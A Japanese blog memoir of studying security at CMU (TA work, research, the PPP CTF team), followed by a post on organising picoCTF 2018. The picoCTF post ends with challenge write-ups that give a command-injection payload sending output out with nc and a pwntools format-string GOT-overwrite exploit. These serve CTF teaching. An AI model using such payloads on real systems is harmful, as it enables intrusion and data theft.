CMU留学を終えて
昨年は自分にとって一番環境に変化があり濃密な1年だった。多くの新しいことを経験し学んだ年だからだと思う。経験とは、主にはピッツバーグにてCMUの学生として過ごし卒業したことである。
CMUの生活は、目の前に広がる未経験を凝縮した海みたいな感じで、経験値も広がりもすごかった。今回はその留学の振り返りを書こうと思う。本当はもう少しまとめてから書こうかとも思ってもいたし、全然技術的でもない。でも想いが冷める前の今のうちにどうしても書いておきたい。
書き始めると想いが入ってしまってだいぶ長くなってしまった。だいぶ削ったけど、面倒な方は最後の「まとめ」を読んでもらえればと思う。
はじめに
2017年9月から2018年12月の16か月で、社費留学にてCMUのINI (Information Networking Institute) にてMaster of Scienceの学位を取得するプログラムを修了した。専攻は情報セキュリティである。終わってから振り返ってみると、辛かったというよりは、充実していて本当に留学してよかったと思えている。主な理由は、留学先でしかできないことを多く経験できたことだと思う。大学の授業のレベルは高いし周りに尊敬できる先生や優秀な学生も多い。アンテナを張り巡らせば身の回りに刺激が溢れている。CMUに来てよかったと一番思えるのはこの点だ。留学初期にこれを強く感じ、米国留学でしかできないことを多く経験しようと決めた。独学でなくてこんな環境でもう一度勉強できるなんて、俺にとっては奇跡なんだ。一秒も無駄にできるか。という気概が後の結果に大きく影響したと思う。
今考えると多少手を広げすぎた感はあったし、周りの仲間からもいつも全力疾走してるよねって言われたりしていたけど、間違ったとは思っていない。「ここでしかできないことをする」という信念を最後まで貫けたと思う。このおかげで、自分自身が経験を積めただけではなく、多くの人と繋がることができ、仲間が増えた。留学前のエントリで「同じようなことを目指す仲間たちとビジネスから離れたところで純粋に勉強/研究してみたい」と書いたことがあるが、それを実行できた。結局のところ、自分自身が強くならないといけないし自分で学び続けなきゃいけないんだけど、環境がそれを助けてくれることはあるんだなぁと感じたし、それを最大限活用できたと思う。
自分が専門とするセキュリティ分野でのコミュニティには日本人がいなかった。そんな環境に飛び込んでやっていけるのか、正直迷った。でも、手が届くところに世界最先端があるんだ。やらなければ何のために留学したんだって後悔するに決まってる。それに、失敗したってこんな日本人1人誰も覚えていやしない。リターンがでかいんだ。やらなくてどうする。
大学、生活環境
Carnegie Mellon University (通称CMU)は、ペンシルベニア州のピッツバーグという街に位置しており、コンピュータサイエンスを中心に世界的にハイレベルな教育/研究を提供している大学である。ピッツバーグは冬はマイナス20℃ほどまで下がったりするが、それ以外はカラっとした気候で過ごしやすい場所である。現地の人が喋る英語はとても早くPITTSBURGHeseと呼ばれたりしている。慣れるまでは何度か聞きなおす必要がある(例えば「ジート(Jeet)?」って聞かれたときに「は?」ってなるが、これは "Did you eat?" というランチのお誘いだったりする)が、慣れてしまえば普通に暮らすことができる。学業という面では申し分ないほど整った環境に囲まれている。めちゃくちゃ広いキャンパス全体を網羅するWi-Fiに、場所には困らない勉強スペース、Freeなドリンクだったり深夜まである無料のバス送迎サービス、リフレッシュするためのジムなど、至れり尽くせりである。またCMUの学生は街の公共機関が全てタダなので、移動には困らずに生活することができる。ただ、大学周辺には何もないため、勉強/研究ぐらいしかやることがない。まぁ勉強環境としては逆に良いのかもしれない。
どういうわけか気候はバグっていたと感じる。ピッツバーグに降り立ったときはマイナス20℃近くて、あっこれはサバイブできないかもって即座に思ったのは記憶に新しい。天候が激しくて1日で気温が20℃以上変動したりする。現地人は大雨でも傘をささない(なぜだ)。ただ、生活するうちに体が慣れてくるようで、マイナス10℃とかにならなければ寒さは気にならなくなってくる。朝とか学校に着いたら髪の毛凍ってたりするけどね。ピッツバーグで暮らしている人たちもたぶんバグってて、外の気温が2℃ぐらいだと上半身裸のオッサンが外を走ってたりする(彼らのことは無課金ユーザーと呼んでいる)が、基本的に町は平和だ。
社会人になって数年を過ごしていると、世の中はある程度わかっているという無意識の感覚があるんだと思う。そのせいか、この年になってのカルチャーショックってのは本当にショックで、戸惑いと発見の連続で毎日を過ごしていた。
コース
CMUの学期は基本的には春学期と秋学期に大きく分かれている(夏学期もあるが、ここは生徒によってインターンシップをしたり研究をしたり授業を取ったりとマチマチである)。1つの授業は12 units という単位が基本である。たまに半期で終わる授業は6 units だったり、重めの授業は15 units だったりする。このUnitというのは、当該の授業をPassするために1週間のうちどれぐらい時間数を使うかを目安としたものである(12 units の単位を取得するスキルを修得するなら週に12時間は勉強する必要がある)。ただし自分の実感では12 units であっても課題や復習などで勉強時間12時間はゆうに超えるため、あまり当てにならない。毎週のように徹夜はあるし、生徒は毎日夜中の3時とかまで勉強しているし、たまに生徒同士で「就職したら土日があるんだぜ、夢みたいだ…」みたいな会話が聞こえてきたりする。実際、CMUは全米で一番睡眠時間の少ない大学だという記事もあるぐらいだ。結局どの授業を取っても大変なので、昨年の生徒の授業アンケート結果を参考にしつつ、取りたい講義を自分の忙しさとを比較しながら決めていく。通常は1学期につき36~48 units を履修することになっている。受講して感じたのは、どの授業も「セオリーだけ勉強しても実践的に応用できないと意味がない」みたいな風潮があるところである。例えば、セキュアなコーディング手法や攻撃方法を学ぶだけでなく、C言語でアプリを開発して生徒同士で攻撃し合う課題があったり、ひたすらバイナリエクスプロイトのCTF問題を解きまくって攻撃者の視点を学んだり、実世界のアプリに対してFuzzingを仕掛け、見つかったバグをバイナリレベルで解析したり、会社に対してリスク分析やインシデントの解析をしたうえで役員への報告を行う演習があったりと、とても実践的な内容に富んでいる。もちろん試験も同様で、知識を応用しないと解けないようになっているため、当たり前だが授業スライドを覚えるだけでは得点が取れない。ちなみにCTFを解きまくる課題のときは、参考としてmallocのソースコードがまるっと渡されたりして面白かった(参考とは😇)。
この分野に興味のない学生であれば早々に匙を投げてしまってもおかしくないワークロードだったと感じるが、(差はあれど)志の高い生徒が世界中から集まっているため、周りを見渡せばスゴイ奴がたくさんいるし、働きかければ人脈も広がる。辛い分だけ大学生活がとても充実する環境に囲まれていた。宿題が多すぎて本当に苦しいが、自分は不思議と嫌だとは一度も思わなかった。今思うと楽しくて仕方がなかったんだと思う。
課題については、提出、採点、regradeの申請まで含めすべてオンラインで完結しており、ありがたい。ここらへんのインフラがしっかり整っているため、しっかり「学業」に集中することができた。
参考までに、取った講義のうちのいくつかを下に挙げようと思う。セキュリティに関する分野を広く学ぼうとしたので、テクニカルな授業だけではない。授業の内容や様子を深く聞きたい、など別途希望をいただいたら別で書こうと思うので言ってほしいが、自分はセキュリティに全振りの内訳で履修していた。
- Introduction to Information Security
- Fundamentals of Telecommunications and Computer Networks
- Secure Software Systems
- Secure Coding
- Introduction to Cyber Intelligence
- Information Security Risk Management
- Applied Information Assurance
研究
自分が所属していたプログラムではコースオプション、リサーチオプションという選択制のカリキュラムがある。コースオプションではコースを受講して単位を取得することで学位が授与される。リサーチオプションではコースの他に教授の下で研究を行うことで相当数の単位が取得でき、卒業要件を満たすことができる。自分は、春学期に受講した教授の研究で気になるトピックがあったのと、CyLabという米国でも有数のサイバーセキュリティ研究所がCMUにあることから教授の研究室に飛び込んでみたところ、CyLabで研究させてもらえることになった。やりたいことがあっても指導教官を見つけるのが難しいと言われている中で教授から認めてもらってリサーチオプションが取れたことは幸運だったと思っている。
夏休みも大学に籠り、授業以外のほぼすべての時間を研究に費やした。最初は結果が見えていないため不安とプレッシャーが大きかったが、ある程度結果が出てきてからは落ち着いてきて、着実に研究を進めることができた。指導教員とのコミュニケーションはしっかり取ってもらえ、恵まれていた。自分のために週一回以上は必ずマンツーマンで時間をとってもらえたし、明確な方向性のアドバイスももらえたし、「めちゃくちゃ頑張ってギリギリ届くかどうか」のゴールを毎回提示してくれる。期待を裏切らないように、求められた以上の成果を必ず持っていこうと毎週頑張った。つらかったけど、まだ明らかにされていないことを自分の手で進められている実感もあり充実していた。
アメリカの大学院は研究したり論文を書かなくても卒業が可能である。それでも研究の世界に飛び込んでくる学生はよほど熱量があるか(良い意味で)変な人ばかりなんだけど、そういう人たちと肩を並べて毎日頑張るのは本当に貴重な経験だった。
研究内容は、後述するように卒業後もCMUとの共同研究ができることになったためまだ詳しくは言えないが、動的解析の仕組みを使うことで実世界の脆弱性を自動で見つけるような研究をしていた。帰国後もしばらくはこのトピックを継続する予定である。
Defense
リサーチオプションでは、最後に集大成として研究成果を発表する場であるDefense(いわゆる修論発表審査会)がある。自分のときは環境に恵まれていたこともあり、ディフェンスの練習では20人ぐらいの教授やPhDの前でのリハをさせてもらってたくさんコメントをもらえたりした。またディフェンス本番においても、日頃からTAやCTFといった活動を積極的にやってきたおかげか、色んな方から気にかけてもらえていたと思う。前日から続々と応援の連絡が届いたときは泣きそうになったし、当日も多くの方に来てもらえて、審査員の教授だけではなく多くの生徒とも活発な質疑もすることができた。これには指導教員も驚いていた。Defenseのときに自分の強みだと認識できたことの一つはプレゼンテーションスキルだった。コースのグループワークと違い、自分でゼロから資料を作るディフェンスでは、想いのすべてを入れ込むことができ、特に資料の完成度には関心された。企業経験や日本でのプレゼン経験がしっかり活きているな、と感じた。
プライベートと研究はしっかり分かれていて、教授の家に招待してもらってBBQをしたり、毎週のランチミーティングで色んな話題をディスカッションしたり、とても楽しく研究生活を過ごすことができた。何より、教授とコネクションを作れたことは大きいと思っていて、大学のいろんなところに推薦してもらえたり人との繋がりの接点が増えたりと、様々な機会をもらうことができた。
TA
TAオファー
自分の性格として、求められているレベルに関わらず、自分の納得がいくまで突き詰めて考える癖がある。例えば自分は多少時間がかかってもバイナリ解析などはかなり深くやるタイプで、満点レベルを満たしていても追加で仕様やバグを明らかにしたり、他の生徒のアプリにメモリアロケーションのエラーを発見したときは、SEGVで終わらせずにheap exploitでどうにかRCEまで到達してからレポートを提出したりしていた。そういうところが気に入られたんだと思う。PPPのアドバイザーをやってる教授に。2018年春学期に自分が受講した講義ではOutstanding jobとしてクラス内で自分のレポートを公開してもらったりするだけでなく、来期のセキュリティ講義でTAをやってくれないか、と直々にオファーをもらうことができた。もともと英語力にも不安がありネイティブな学生に引け目を感じるかと思っていたけど、努力をすれば平等に認めてもらえるし、CMUの中でも十分通じることがわかり、大きな自信につながった。ペンシルベニア州の法律とCMUの規定によると、TAワークを全てこなすために求められる英語力はTOEFLのSpeakingで28点以上必要だった。自分の英語力では不足しているため、大学に迷惑を書けるのではないかと思い最初は辞退をしたい旨返信をした。しかし、先生からそれでもTA試験を受けてみたらどうかと説得されて受験してみたところ、試験に通ってしまい正式なオファーをもらうことができた。入学当初はTAなんて思いもよらなかったのにこんな機会をもらえたことは大変幸運だったと思っている。今でも、憧れている教授から直々のメールで"I've been impressed with your performance this semester and was wondering if you would consider being a TA"という旨の文面をもらったときに心臓が止まりそうになったのを覚えている。
TAワーク
アメリカのTAは、課題や試験のGradingの権限が全面的に与えられていること、講義の内容を超える課題内容などへの質問に答えるためにオフィスアワーを設けていること、教官の授業とは別にTAが補講を開催することなど、日本の大学とは少し違っている。講義に対する正確な理解やより広範囲での技術スキルが求められるが、TAに選ばれることが名誉であることに加え、履歴書にも記載できる業績であること、教授の研究に関わるチャンスであること、特にTA業務を通じて講義内容により深い理解を得られることから、多くの生徒がそのチャンスを望んでいる。上記の通り、無事TA試験を通ることができ正式なTAオファーをもらえたため、Introduction to Information Securityという授業のTAになることとなった。この授業では、220人ぐらいの生徒に対し8人のTAがついていた。仕事内容は週に2時間程度のオフィスアワー、課題や試験の採点、オンラインでの質問回答、補講の開催、などである。この授業はIntroductionという名にもかかわらずあまりにも難しいと有名なタイトル詐欺の授業であった。例えば3時間足らずでBuffer overflowとは、からROPまでの講義を終わらせ、直後の課題でret2libcやASLRバイパスといったタスクを課しまくるという具合である。さらに課題でx86バイナリのBOFをマスターしたにもかかわらず、試験ではARMのBuffer overflowについて問われるという鬼畜ぶりである。バイナリを読んだことのない生徒がobjdumpで泣きながらアセンブリを読んでいる風景はこちらとしてもつらかった。
ただ、こういう苦しい学生を助けることは自分の経験にもなった。何時間も闘った末にシェルを取れたときに嬉しくて泣き出してしまった女の子がいて、このときはなんというか、こういう成長の場というか脳汁の出まくるあの瞬間に直接かかわれることができて良かったなぁ、としみじみ感じたことは忘れられない。
こんな具合の授業が週3時間で4か月続くため、セキュリティのビギナーであってもセメスターが終わる頃には結構な知識量が付いている。立派に育つ成長の過程を身近で見れたことは良い経験になった。
以下にTAで経験した仕事をざっと書いておく。
- 授業や試験への出席
授業への出席は必須ではなかったが自分はやっていた。オフィスアワーでは教えないといけないわけなので自分の記憶をアップデートするためと、たまに講義中の質問への回答をすることで授業に貢献できるからである。アメリカの授業では質問がとても活発で、授業もインタラクティブなものも多い。見ていて感じたのが、活発に先生とコミュニケーションを取ろうとする学生のほうがスキルが高い傾向にあると感じた。
試験への出席は一番つらかった。TAも生徒と同じく試験問題が事前にはわからないため、試験開始と同時に生徒以上の速さで問題を理解し、「この設問ってどういうこと?」みたいな質問へ正確に回答できるよう備える必要があった。英語の読解速度がネイティブに敵うわけないのでなかなかハードだった。これはもうやりたくないことのうちの一つかもしれない。
- Office hour
これはTAのメインタスクの一つだと思っている。生徒はわからないことを何でも聞きに来ることができる。課題だったり授業の不明点や過去問の質問、趣味や将来、故郷の話だったりと、色々な話をした。自分はこの時間のおかげで大勢の生徒と仲良くなれたと思っている。また、生徒ごとに問題点を把握し、考えの道筋をうまく誘導してあげるようなスキルが身に付いたように思う。
最終的に、他のTAのオフィスアワーには毎週2, 3人ぐらい生徒が来るという話を聞いた時には驚いた。自分のときには20人以上来るようになっていたからだ。英語が一番弱いにも関わらず、やり方がしっかり通じていて成果を出せていることに嬉しくなった。たぶん、講義の中で最も難しい箇所が自分の得意分野だったことで、即座に的確なアドバイスを提供できていたからではないかと思う。毎週めちゃくちゃ大変だったが、最終日にはケーキを持ってきてもらえたり、多くの教え子と絆が深まったことは言うまでもない。
- オンラインでの質疑応答
これはOffice hourの補助版みたいなものだが活発だった。1日に10~数十件の質問がポストされるのでTAが空き時間を見つけては回答していった。このおかげで英語でのやり取りへの抵抗がだいぶ減ったと思う。
- Recitation
課題提出の前には、理解を促したり共通的な質問を解消することを目的としてTAが補講を開催することになっていた。2名のTAで60分程度補講を行い、残り30分をフリーなオフィスアワーとして質問に回答する具合で進めた。自分はBinary Exploitの回が担当だったので、もう1名のTAとLive debugやバイナリ解析、Exploitを行うケーススタディや資料を作ったりした。相談しながら内容を考えたり実装していくことは楽しかったし、とても良い機会をもらえたと思う。
- 採点
採点はすべてオンラインで行うことができ、選択問題は自動で採点する基盤があった。しかし記述問題は自動というわけにはいかない。採点の効率化のため、採点時はTAに生徒でなく問題を割り振り、毎回同じ問題を200人分採点していった。しっかり採点基準を作り、全生徒に公平に採点することを心がければそれほど難しくない。最も時間のかかったところだが、TA同士や教員とワイワイ相談しながら採点していくのは面白かった。
タイムマネジメントできるキャパは若干超えてた気がするけど、TAの経験はとてつもなく濃いキャンパスライフをもたらした気がする。後から聞いたところ、この授業はTAから見てもNightmareだと言われる授業だったらしいが、Teachingの経験やTA同士の繋がりなど、得るものも大きかった。
CTF
CMUは、世界でも有数の強豪チームであるPPPというCTFチームを擁しており、メンバは現役生およびOB/OGで構成されている。なぜかチームメンバは漏れなく強い。このチームに所属させてもらい経験を積んだことが、自分にとっての大きな糧となった。チームに入ったきっかけは、1年目に履修したIntroduction to Information Securityの授業である。たまたま昨年のTAがチームメンバで、Buffer overflowの課題で自分のWriteupの解法がウケたようでチームミーティングに招待された。日本人は1人もいなかったし少しビビったが、こんなチャンスを逃してたらギャグだ。悩む前に飛び込んで参加させてもらった。ここからミーティングやCTFに参加していくうちに自分の居場所が出来上がっていった。きっかけは授業の課題だったが、思いもよらないところで誰かが見てるものだし、そこから繋がるものだなぁと感じた。
チーム運営
PPPでは夏休みや冬休みを除きキャンパスで毎週チームミーティングがある。議論する内容は週によって違うが、金曜から開催されるCTFをプレイしたり、PPPが開催するCTFのディスカッションをしたり、参加したオンサイトCTFの報告会だったりする。時にはWriteupの重要性を議論したりと内容は多岐にわたり、どれも面白かった。チームでは良い意味でメンバ同士の距離感が近く、とても打ち解けやすい。プレイ中も、初心者・プロどちらも居心地よく過ごすことができる環境だった。また、チーム内ではpwnを中心とした練習コンテンツのCTFがあり、この上位者にはセメスターの終わりの表彰式でTシャツがプレゼントされるなどの特典もあるため、モチベーションを保ちながら空き時間で自分のスキルを上げていくことができる。写真は2位を取ったときにもらったTシャツ。
基本、学業がメインのメンバがCTFをプレイするため、授業の大変なスケジュールの中時間を確保して参加することになる。みんながどうやって時間を捻出するのか最後までわからなかったし、その話題を出しても「謎だよねー」とみんながみんな言うのでこの謎は最後まで解けていない。
大会参加
色々な大会に参加した。空いている人は誰でもWelcomeなので好きなときにプレイして抜けて良い。活発な議論が多いと思いきや、コミュニケーションはSlackの1チャンネルのみである。あとはピッツバーグ組はだいたいキャンパスに集まってやってるのでそこで会話があるぐらい。和気あいあいとしていて緊張感は少なく、純粋にプレイを楽しめるのが良いなぁと感じる。一番印象に残っているのはやはりDEF CONだった。チームがこの大会にかける想いは大きく、この大会に関しては入念な準備を行った上でラスベガスで長丁場を闘う。この経験を通じてチームメンバとの距離がぐっと縮まったし、期間中ずっと一緒にプレイする中でチームのことがもっと好きになった。
大会運営
詳しくは以前のエントリで書いているが、メンバとともにpicoCTF 2018の運営を経験したり、PlaidCTFのプレイテスティングをするなど、チームで開催するCTFに積極的にかかわることができた。最高にクレイジーな仲間たちとバイナリ解析したりディスカッションしながら協業するのは本当に忘れられない思い出になった。チームの雰囲気が良くて、とても居心地がよかった。チームメイトは本当に良い人たちで、自分が卒業するときも壮行会をしてくれたり、ミーティングでお別れをしてくれたり、こんな英語ダメダメな自分に対して「戻ってきてくれよ」とか「また来年のDEFCONも来てくれよ」とか言ってくれたのは本当に嬉しかった。入学前はチームに所属できるかもわからなかったし、DEFCONをメインメンバで出れるとも思ってなかった。このチームのメンバとして活動できて良かったなぁ。俺、もっと強くなるよ。
人脈
留学で得た財産の一つは人との繋がりだと思う。つながりが増えた上位3つは、TA, CTF, 研究だった。TAではTA同士でとても仲良くなったし、何より多くの生徒と親しくなることができた。たくさんのアクティビティに誘ってもらえたし、最後の登校日に多くの人から激励をもらったのは泣きそうになった。CTFは言うまでもなくチームメンバと深く繋がることができたし、研究で教授との繋がりができたことも大きかった。帰国後も個人的に研究ができることになったこともそうだし、ことあるごとに教授から機会をもらえる。例えば大学の広報やArticleへの投稿の依頼をもらったり、教授がtenureを取るための推薦状執筆の依頼をもらったり、帰国後もCMUのAnnual magazineに載る推薦をもらったりした。どれも受動的に授業を受けて卒業するだけでは得られなかったものだけに、自分を信じて突き進んで本当に良かったと思う。英語の弱い日本人でも、ちゃんとやれるぜ!
あと、これは留学後半になるけど、英語でコミュニケーションを取れていることで自信がついたことは、人脈の形成に拍車をかけた。最初は英語ができないことで会話中も無意識的な引け目を感じていたが、対等に話せているなと思えてからは純粋に会話を楽しめるようになり、世界がクリアになった。これは米国生活後半での変化だったので、もっと早くこういう風にできればさらに楽しめたのになぁ、と強く思う。ただ、こういう自分の変化も今までの繋がりを通して気づけたことだ。この発見も自分が活動してきた結果だし、大きな財産だ。
これから
先月、すべてのカリキュラムを終え、無事CMUを卒業することができた。CMUとの研究は、ありがたいことに卒業後もリモートで続けることができる。少なくともどこかのカンファレンスに通すところまで続けていけるのでは、と思っている。研究オプションを取ろうと飛び込んでみた甲斐があった。仕事は4月から日本の会社でセキュリティ関連のことをする予定である。残念ながら詳しいことは書けないが、昨年末に面談をしたところ、どうやらCMUで学んだことを発揮できる仕事ができそうだ。社費で留学した恩義もあるし、しばらくは同じ会社で頑張ってみて、しっかり実績を作っていこうと今のところは思っている。ただ、自分の能力をどこでどうやったら活かせるのだろう、というところは社内に限らず今後も常に意識していこうと思う。
どちらにせよ学んだことを最大限に発揮しつつ、継続して知識を吸収できる環境に身を置き続けるつもりである。
さいごに
今回の留学で後悔があるとすれば、英語力だと思う。色々と手を伸ばしてチャンスを掴んできたけど、そこから先の部分で自分の英語力で可能性を狭めていた部分はあると感じる。言語に壁がなくネイティブと対等に渡り合えたら倍は深い経験ができただろうな、と正直に感じた。ただ、逆を返せば英語力が低くても濃厚な留学を経験できるということも実証できたと思う。こんな英語がへなちょこな日本人が相手にされるのだろうか、という大きな不安があった。でも、技術を通して仲間と繋がることができ、言語が満足でない自分にも壁を越えて対等に接してもらえていることが、ふと涙が出そうになるほど嬉しかった。
日々を過ごすうちに不安が自信に変わった。かけがえのない仲間に多く囲まれ、この留学を心から楽しめるようになった。チームメイトと朝までCTFを頑張ったり作問の議論をしたり、壮行会までしてもらって固く握手を交わしたこと。TAで多くの教え子に慕ってもらえて、世界中の人たちと純粋に笑いながら談笑ができるようになったこと。世界でも有数のセキュリティの研究所でトップレベルの研究ができたこと。技術が言語の壁を超越することを身をもって体現できたこと。
この思い出は間違いなく自分の生涯で忘れられないものになったし、今後辛いときにも自分を奮い立たせる燃料になるだろう。
先週までいたピッツバーグなんてギャグみたいに寒いし、授業も笑えるほどの課題量だ。研究では毎回多くを求められるし生活リズムも崩壊してる。寒さを忘れに、るくすくん達とマイアミやキーウエストに逃げたりもした。でも、やっぱり俺はピッツバーグが好きだしCMUが好きだ。
辛くも楽しみながら学んだ米国での大学生活が終わった。これからもこの分野で少しずつ成長しながら楽しんで貢献していきたいと思っている。
最後にもう1つ。日本で学んできたこと、海外でも通じたよ!
まとめ
CMUはいいぞ。picoCTF 2018を主催した話
2018/9/28 12PM から 2018/10/12 12PM (EST) の336時間、picoCTF 2018が開催された。自分も会社にいたときに大会を何度か開催した経験があったし力になりたいという思いと、毎年1万人を超える競技者が参加するpicoCTFの進め方を吸収したいという思いがあり、Developerとして参画した。このエントリでは、どういう風に準備や運営を進めていき、どんな学びがあり、どんなことを感じたか、について触れようと思う。
picoCTFとは
picoCTFは、Middle school, およびHigh Schoolの学生を主な対象としており、セキュリティの世界に足を突っ込むキッカケとなるような体験を与えることを目的とした、教育に主眼を置いたCTFである。このため、難易度についても初歩的なもの(それこそncコマンドを使ってみる、ssh接続してみるといったもの)から始まり、様々なジャンルについて幅広く理解を深めながら進めていくことができる内容になっている。pwn偏重ではない。また、通常のCTFとは違い336時間という比較的長い期間を設定することで、勉強して技術を習得しながら得点を伸ばしていけるよう構成している。さらにこの期間後も次のpicoCTFまではずっと問題を公開しているので、いつでも勉強しながらプレイすることができる。
難しい問題ばかりを出題し得点を競う形式ではないため、例えばBinary Exploitの問題も一部を除き基本的にはソースコードを公開していたり、問題攻略の方向性を相談できるオンライン掲示板を用意して質問にはPPPメンバーが即座に回答するなど、運営基盤も整っていて、初心者でも入りやすいCTFだと思っている。
ちなみに今年は大会期間中に27,000人以上が参加し、過去最高の参加者数を記録した(すごい)。
主催はCMUのINIやCyLab, PPPなどの組織、チームが主体となり運営している。
そういえば今見て思ったけど、この4つ全部に所属しているので参加するのは必然だったのかもしれない。
問題作成
上記のとおり、教育目的の幅広い出題を目指すため、まずセキュリティにおける分野(General Skills, Cryptography, Reverse engineering, Web exploit, Binary exploit, Forengicなど)や、学ぶために必要な技術的要素、攻撃に必要なテクニックなどをブレイクダウンしながら細分化してリスト化し、それを満たすように問題を作っていくようにした。PPPで集まって話を始めたのは夏に入る前のまだ寒い時期だったため、かなりの時間を準備にかけていたと思う。結果として、このリストをすべて網羅したわけではないが、かなり幅広い出題範囲になったと感じている。「Education」という目標を定め、トップダウンで細分化し、問題に落とし込んでいくというアプローチが、一貫した(と自分では思っている)内容に繋がった。
レビュー
もう一つの特徴として、レビューにも重点を置いていたことが特徴的だった。お互いの問題を解くことで自分では気づかない問題点に気付いたり、客観的な得点設定を行ったり、ローカルとの環境の差異を発見したりと、これも重要なフェーズであった。例えば、picoCTFインフラ上だとgccの最適化によりバイナリが想定通りに動作せず64bitのASLRガチャを当てる問題に成り下がっていたり、配布されてるソースコードにflagがベタ書きしてあって問題にすらなっていなかったり、意外と多くの修正要素を潰すことができた(もちろん本番でも多く見つかったわけだが)。また、レビューを実際のCTF形式にしてチーム内で競うようにしたこともモチベーションを保てたこともよかった。基本的に秋学期の授業/研究の合間にみんなプレイテスティングを行うため、ジャンルを絞ったり空き時間を確保したりしながらではあるが、楽しんでレビューを行うことができた。
写真はプレイテスティング上位者がもらえる特典picoCTF Tシャツ(1位だった)。
作問ポリシー
CTFを作問するときのポリシーがある。これはplaid CTFとかの作問でも同じだが、難しいほど良い問題であるわけではないというもの。簡単なものほど良い問題だという考え方である。「簡単」というのは誰でも解けるという意味ではなくて、新しい創意工夫に溢れたアイデアになっているが、それを達成するのに膨大な前提知識や特殊なスキルを求めないという意味である(とはいえクリエイティビティや新規性のあるものは難しくなりがちではあるけど)。やってみて感じたこと
人脈が広がる
これはpicoCTFに限らずにPPPの特徴でもあるんだけど、仲が良い。壁がないし、初めて会った人でも「そのPCのステッカー面白いじゃん」とか「キミ、今年のSECCON本戦にいたっしょ(いやいません)」とか「そのキーボードヤバくね?(無刻印のHHKBを使っていた)」とか言われてそこから会話が弾んですぐに打ち解けられる。打ち解けた後も、なんというか、ネイティブばかりの中にポツンといるときの特有のつらさみたいなものがなく、一緒にいて居心地が良い。参加できて本当に良かったなと思える要素の一つだと感じている。モチベーションを保てた
みんなで盛り上げようぜという空気があって、みんな感謝の気持ちもしっかり持ってて、否定的な意見が少なく改善点を話し合えたり、上述のレビュー形式によって頑張るぜという気になったりして、モチベーションを保ったままフェードアウトせずに続けることができた。楽しい!
例えばレビューフェーズで見つけたバグなどは、積極的に修正にもかかわらせてもらった。GCCクソがwwwとかSlackで言い合いながらバイナリを構成していったりExploit codeをアップデートしていくのは楽しかったし、周りのレベルが高いので問題修正のスピード感も気持ちよかった。インフラがすごい
CTFインフラが整っている。これはこれで一つの完成形になっていると思う。たとえばpwnだとシェルを取らせるため権限管理などにシビアになる必要があるが、これはすべてインフラが担保してくれる。また、配布ファイルやフォルダ構成なども設定ファイルで指定できるし、vagrantイメージが公開されているため、スコアサーバも含めてローカルに再現でき、開発者間の環境差異も最小限にとどめることができた。仲間との関係
日本人は自分ひとりだったけど、言語の壁を超えて対等に接してもらえて、本当に嬉しいなぁと、ふと思った。技術は言葉を超越する。モチベーションの高い仲間に囲まれながらこんな貴重な経験をできることは誇りだな、と感じた。次回何かを開催するときには、この空気感をどう作り上げていけるのだろう、というところを意識してみたい。
問題紹介
せっかくなので、作ったものや自分がかかわったものなどを少し紹介しようと思う。(関わったの全部、とかレビューしたもの、となるとめちゃくちゃ書かなきゃいけないので割愛もする)fancy-alive-monitoring
pingで好きなサーバに対して疎通確認ができるWebアプリケーションだが、OSコマンドインジェクションの脆弱性がある。攻略には2段階の工夫が必要である。- Client sideチェックのバイパス
このアプリでは入力値に対してクライアントサイドでのチェックとサーバサイドでのチェックを行っている。クライアントサイドのチェックはJSで行われているため、どうとでも回避することができる。さらに、サーバサイドのチェックにバグがあり、IPアドレスの後ろに好きな入力を許可してしまっている。ここでOSコマンドインジェクションを発動させることができる。 - Blind OS command Injection
このアプリケーションはコマンド結果をそのまま出力する機構がない。ただ、validationチェック回避後に、例えば "127.0.0.1;sleep 5" のような入力を行うと、5秒間のスリープが入っていることがわかる。厳密にそんな言葉はないが、Blind OSコマンドインジェクションと言える。
アウトプットの手段はページ上にはないため、ncや/dev/tcp/などを使ってコマンド結果を待ち受けサーバに飛ばすなりコネクトバックシェルを張るなりすればFlagが手に入る。
127.0.0.1;ls|nc 自分のIP port
これだとpublicサーバを持っていない参加者に不利じゃないか?と思うかもしれないが、実はpicoCTFのシェルサーバ自体をリスナとして使うこともできるため、この点は大丈夫だと思う。
この問題は、近年増えている「インターネット通信は行うがディスプレイなどのアウトプットデバイスがない」ようなアプリ(例えばIoT機器とか)などの背景からインスパイアされて作成した問題である。コマンド結果がわからないから安心だぜ、ということはなく、そんな環境下でも脆弱性があると攻撃されてしまうんだぜ、というメッセージを込めた問題にした。
本番稼動中に問題点が2つあって、一つは「URL/flag.txt」とアクセスするとflagが表示されてしまうというアホみたいなショートカットがあったのですぐに潰した。最悪である。picoCTFインフラの権限設定方法の理解のミスが生んだ問題だった。2つ目は、本番環境がfork serverではなく(!!)リターンしないOSコマンドを発行されるとそのインスタンスからHTTPレスポンスが返らなくなるという香ばしいバグ。仕方がないので、長く息してるプロセスを定期的にkillする即席スクリプトを裏で回した。
echo back
echoooというFSBによってFlagをリークさせる問題があるため、じゃあ書き換えもやろうよということでecho-back. System関数に戻ることが自明だが、どうやって呼ぶのか、のところで少し頭を捻る。解法はret2vulnを使い、もう一度関数に戻ってくる発想ができれば、入力文字制限も緩いためそれほど難しくはない。printfのバグの後にputs関数が呼ばれているため、vuln functionにリターンするようにputs.gotを書き換える。その後、printf.gotをsystem.pltに書き換えれば次の入力でsystem("入力値")が発動する。この上書き作業は2度に分けずに一度にやってしまっても良い。GOT overwriteできるところはpltだけではないよ、という意味をこめた。知っていると自明だけど、以前自分が勉強していたとき、これに気づいて「なるほど!」と思った経験を覚えているので題材にした。
#!/usr/bin/python from pwn import * from libformatstr import FormatStr host, port = "localhost", 31337 context(arch='i386', os='linux') filename = "./echoback" elf = ELF(filename) ## overwrite the following addresses: ## printf.got -> system.plt ## puts.got -> vuln fsb_offset = 7 p = FormatStr() p[elf.got['printf']] = elf.plt['system'] p[elf.got['puts']] = elf.symbols['vuln'] conn = remote(host, port) conn.recvline() conn.sendline(p.payload(fsb_offset)) conn.interactive()
Contacts
